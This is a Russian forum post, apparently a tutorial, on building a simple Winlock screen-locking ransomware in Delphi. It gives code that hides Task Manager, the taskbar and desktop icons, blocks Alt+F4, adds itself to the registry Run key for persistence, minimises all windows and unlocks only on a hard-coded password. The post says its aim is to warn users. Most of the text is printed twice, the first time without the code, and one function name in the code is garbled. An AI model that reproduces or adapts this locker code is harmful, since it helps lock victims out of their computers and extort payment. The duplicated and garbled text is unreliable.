- Регистрация
- 9 Май 2015
- Сообщения
- 1,562
- Баллы
- 155
Всегда интересно чему-то научиться, что-то понять и что-то повторить, в своей трактовке и со своей логикой :) Скорее всего ты здесь именно за этим, так что начнём.
Что такое Winlock? Это такая вещь, которая блокирует экран пользователя (повисает на рабочем столе) и вымогает что-либо. Очень-очень злая штука. Будучи глупым юзверем, как-то давно, в плавании по сети схватил я такую злую штуку, и чуть не отправил злополучную смс. И даже сейчас таких людей очень много, и многие эту смс всё-таки отправляют. Так что статья написана для того, что бы предостеречь тебя в такой ситуации. Что бы понять как действует преступник - нужно мыслить как преступник. А для этого надо разобрать всю структуру работы вымогателя на живом примере. Так что начнём разбираться.
1) Что важно понимать.
__________
Сегодня я рассмотрю то, что можно схватить в сети чаще всего - самый примитивный Winlock, написанный на коленке. Именно такой, с самыми незамысловатыми способами работы мы сегодня и рассмотрим. В последующем будет рассмотрение Winlock'а с hook'ами (терпеть их не могу, но показать надо) и Winlock'а на чистом API (что даст очень маленький размер).
_________
Важно понимать, что в первую очередь такая программа обрубает все ходы отступления. А какие есть ходы назад? Ну как вариант диспетчер задач. Он не вызвался? Тогда связки клавиш, например Alt+F4. Не помогло? Паника-паника! Нужно перезагрузить компьютер, тогда всё пройдёт! И вымогатель и сглаз и понос! Перезагрузили, ничего не прошло. У пользователя уже совсем паника, windows переустанавливать он не умеет, и в отчаянии отправляет смс на номер, что вымогатель написал. Если winlock порядочный, то он разблокирует пользователя, предупредит что бы больше так не делал и само-удалится. Если же нет, то ничего не изменится и пользователю придётся переустановить систему.
Вся работа программы основывается на обрубании этих самых ходов отступления, т.е. попытках остановить программу. Так что далее рассмотрим как это сделать.
2)Как?
Совсем не сложно.
Что такое Handle? Если понятно - то это указатель (ссылка) на дескриптор (расположение в оперативной памяти) окна или программы (тут мы неожиданно узнаём что у каждого окна или программы есть свой дескриптор:) ). Вот этот дескриптор (или ссылку на дескриптор ) можно какой-то функцией получить. А можно его получить и например поставить приоритет запуска данной программе (приоритет - скрытый, приоритет - modal) и так далее. Т.е. фактически мы можем скрыть любое окно в системе, скрыть любую программу. И при её вызове она не будет отображаться.
Что ещё? Ещё важно сделать так, что бы при перезагрузке программа оставалась запущенной. Пропишем что-нибудь в реестр, что бы в момент отображения рабочего стола отобразилась и программа (а дальше она уже активирует свои злые возможности). Какие мы коварные.
3) Кодим.
Форма для работы:
В поле будет вводиться пароль, если он не верен - то ничего не разблокируется. Если верен - то всё ok'ey. На кнопках 1-9 и 0 код простой:
У кнопки "Очистить" код :
Теперь рассмотрим как же блокировать окна. Начнём с диспетчера задач.
Он вызывается 2-мя методами: 1) Сочетание клавиш CTR+ALT+DELETE ; 2) Сочетание клавиш CTR+SHIFT+ESC.
Эти сочетания можно исключить 3-мя методами. HOOK, через Handle окна и SystemParametersInfo. К сожалению последний , 3-ий, работал только в Windows XP. В 7-ой версии он уже не работает. HOOK я буду рассматривать в следующей статье, так что сегодня рассмотрим отключение через Handle окна:
В uses дописываем модуль SHELLAPI и Registry.
Пишем в событие формы OnCreate:
Как работает. Функция FindWindow имеет 2 параметра: 1) Класс окна; 2)Заголовок окна. Т.к. класс окна мы не знаем, ставим вместо него NIL, а вот заголовок виден - "Диспетчер задач Windows". Сама функция получает дескриптор окна (его положение в оперативной памяти) (иногда называют HANDLE, отсюда и название типа - Thandle). И вот данный дескриптор мы присваиваем переменной соответствующего типа. Далее функция ShowWindow грубо говоря ставит приоритет на вызов (когда окно будет вызвано, оно будет вызвано с данным приоритетом). Приоритеты знает гугл. Оттуда и берём, что SW_HIDE - скрытый приоритет. SW_SHOWNORMAL - нормальный приоритет.
Теперь заблокируем комбинацию клавиш Alt+F4:
В событии формы Close нужно написать:
Глупый способ, но он работает и железно блокирует эту связку клавиш.
Идём дальше:
Про автозагрузку пару слов. Сейчас рассматривать не буду, так как работать с реестром совсем не сложно. На крайний случай при отсутствии справки в delphi идите вы в гугл, там всё есть :) Ну или пишите свои вопросы в комментариях.
Теперь нужно свернуть все окна, что бы осталось только наше. Для этого есть небольшая и удобная процедурка:
В работе:
Ну и дальше осталось лишь выполнить небольшую проверку на пароль и написать все обратные процедуры на кнопку разблокировать:
Итак. Подведём промежуточный итог. Что у нас есть? Пользователь запускает программу, она пишется в автозагрузку, сворачивает все окна, очищает рабочий стол, скрывает все панели и выдаёт злое сообщение. Для неопытного пользователя этого уже достаточно, и придётся либо переустановить систему, либо выполнить требования что описаны в программе (что скорее всего и будет). Статья первая и самая лёгкая (с использованием API-функций и простых приёмов) завершена. Следующая будет с использованием HOOK'-ов.
Что такое Winlock? Это такая вещь, которая блокирует экран пользователя (повисает на рабочем столе) и вымогает что-либо. Очень-очень злая штука. Будучи глупым юзверем, как-то давно, в плавании по сети схватил я такую злую штуку, и чуть не отправил злополучную смс. И даже сейчас таких людей очень много, и многие эту смс всё-таки отправляют. Так что статья написана для того, что бы предостеречь тебя в такой ситуации. Что бы понять как действует преступник - нужно мыслить как преступник. А для этого надо разобрать всю структуру работы вымогателя на живом примере. Так что начнём разбираться.
1) Что важно понимать.
__________
Сегодня я рассмотрю то, что можно схватить в сети чаще всего - самый примитивный Winlock, написанный на коленке. Именно такой, с самыми незамысловатыми способами работы мы сегодня и рассмотрим. В последующем будет рассмотрение Winlock'а с hook'ами (терпеть их не могу, но показать надо) и Winlock'а на чистом API (что даст очень маленький размер).
_________
Важно понимать, что в первую очередь такая программа обрубает все ходы отступления. А какие есть ходы назад? Ну как вариант диспетчер задач. Он не вызвался? Тогда связки клавиш, например Alt+F4. Не помогло? Паника-паника! Нужно перезагрузить компьютер, тогда всё пройдёт! И вымогатель и сглаз и понос! Перезагрузили, ничего не прошло. У пользователя уже совсем паника, windows переустанавливать он не умеет, и в отчаянии отправляет смс на номер, что вымогатель написал. Если winlock порядочный, то он разблокирует пользователя, предупредит что бы больше так не делал и само-удалится. Если же нет, то ничего не изменится и пользователю придётся переустановить систему.
Вся работа программы основывается на обрубании этих самых ходов отступления, т.е. попытках остановить программу. Так что далее рассмотрим как это сделать.
2)Как?
Совсем не сложно.
Что такое Handle? Если понятно - то это указатель (ссылка) на дескриптор (расположение в оперативной памяти) окна или программы (тут мы неожиданно узнаём что у каждого окна или программы есть свой дескриптор:) ). Вот этот дескриптор (или ссылку на дескриптор ) можно какой-то функцией получить. А можно его получить и например поставить приоритет запуска данной программе (приоритет - скрытый, приоритет - modal) и так далее. Т.е. фактически мы можем скрыть любое окно в системе, скрыть любую программу. И при её вызове она не будет отображаться.
Что ещё? Ещё важно сделать так, что бы при перезагрузке программа оставалась запущенной. Пропишем что-нибудь в реестр, что бы в момент отображения рабочего стола отобразилась и программа (а дальше она уже активирует свои злые возможности). Какие мы коварные.
3) Кодим.
Форма для работы:
В поле будет вводиться пароль, если он не верен - то ничего не разблокируется. Если верен - то всё ok'ey. На кнопках 1-9 и 0 код простой:
Код:
edit1.text:=edit1.text+'1' и т.д.
Код:
edit1.Clear;
Он вызывается 2-мя методами: 1) Сочетание клавиш CTR+ALT+DELETE ; 2) Сочетание клавиш CTR+SHIFT+ESC.
Эти сочетания можно исключить 3-мя методами. HOOK, через Handle окна и SystemParametersInfo. К сожалению последний , 3-ий, работал только в Windows XP. В 7-ой версии он уже не работает. HOOK я буду рассматривать в следующей статье, так что сегодня рассмотрим отключение через Handle окна:
В uses дописываем модуль SHELLAPI и Registry.
Пишем в событие формы OnCreate:
Код:
//Выключение:
var H : THandle;
begin
H:=FindWindow(nil,'Диспетчер задач Windows'); // H = дескриптору на диспетчер задач
if H=0 then бобр(0,'open','taskmgr.exe',nil,nil,SW_HIDE) // если дескриптор не найден, то запрещаем запуск процесса, если найден, то
else ShowWindow(H,SW_HIDE); //ставим ему скрытый приоритет
//Включение:
var H:THandle;
begin
H:=FindWindow(nil, 'Диспетчер задач Windows'); // H = дескриптору на диспетчер задач
ShowWindow(H,SW_SHOWNORMAL); //ставим ему нормальный приоритет
end;
Теперь заблокируем комбинацию клавиш Alt+F4:
В событии формы Close нужно написать:
Код:
CanClose := False;
Идём дальше:
Код:
//______________скрытие панели задач_______________
H := FindWindow('Shell_TrayWnd', Nil); //далее комментарии не ставлю, так как принцип пока один и тот же
ShowWindow(H, SW_HIDE);
//______________скрытие панели задач_______________
//______________убираем иконки с раб. стола_______________
H:=FindWindow(nil,'Program Manager');
ShowWindow(H,SW_HIDE);
//______________убираем иконки с раб. стола_______________
//______________добавление в автозагрузку_______________
reg:= TRegistry.Create;
reg.RootKey:= hkey_local_machine;
reg.LazyWrite:= false;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
reg.WriteString('ololo', application.ExeName); //Вместо ololo пишем любое удобное вам имя
reg.CloseKey;
reg.Free;
//______________добавление в автозагрузку_______________
Теперь нужно свернуть все окна, что бы осталось только наше. Для этого есть небольшая и удобная процедурка:
Код:
procedure MinimizeAllApp;
VAR
Wnd : hWnd;
buff: ARRAY [0..127] OF Char;
begin
Wnd := GetWindow(form1.Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN {Не показываем:}
IF (Wnd <> Application.Handle) AND {-Собственное окно}
IsWindowVisible(Wnd) AND {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
THEN BEGIN
{тут во и пишешь:}
PostMessage(wnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
{или что-то вроде этого}
END;
Wnd := GetWindow(Wnd, gw_hWndNext);
END;
end;
Ну и дальше осталось лишь выполнить небольшую проверку на пароль и написать все обратные процедуры на кнопку разблокировать:
Код:
var H: Thandle;
reg: TRegistry;
s: string[10];
begin
s:= edit1.Text;
if s='45672' then
begin
H:=FindWindow(nil,'Диспетчер задач Windows');
ShowWindow(H,SW_SHOWNORMAL);
H := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(H, SW_SHOWNORMAL);
H:=FindWindow(nil,'Program Manager');
ShowWindow(H,SW_SHOWNORMAL);
reg:= TRegistry.Create;
reg.RootKey:= hkey_local_machine;
reg.LazyWrite:= false;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
reg.DeleteKey ('ololo');
reg.CloseKey;
reg.Free;
Close;
end else
ShowMessage ('Пароль неверен. Повторите операцию');
end;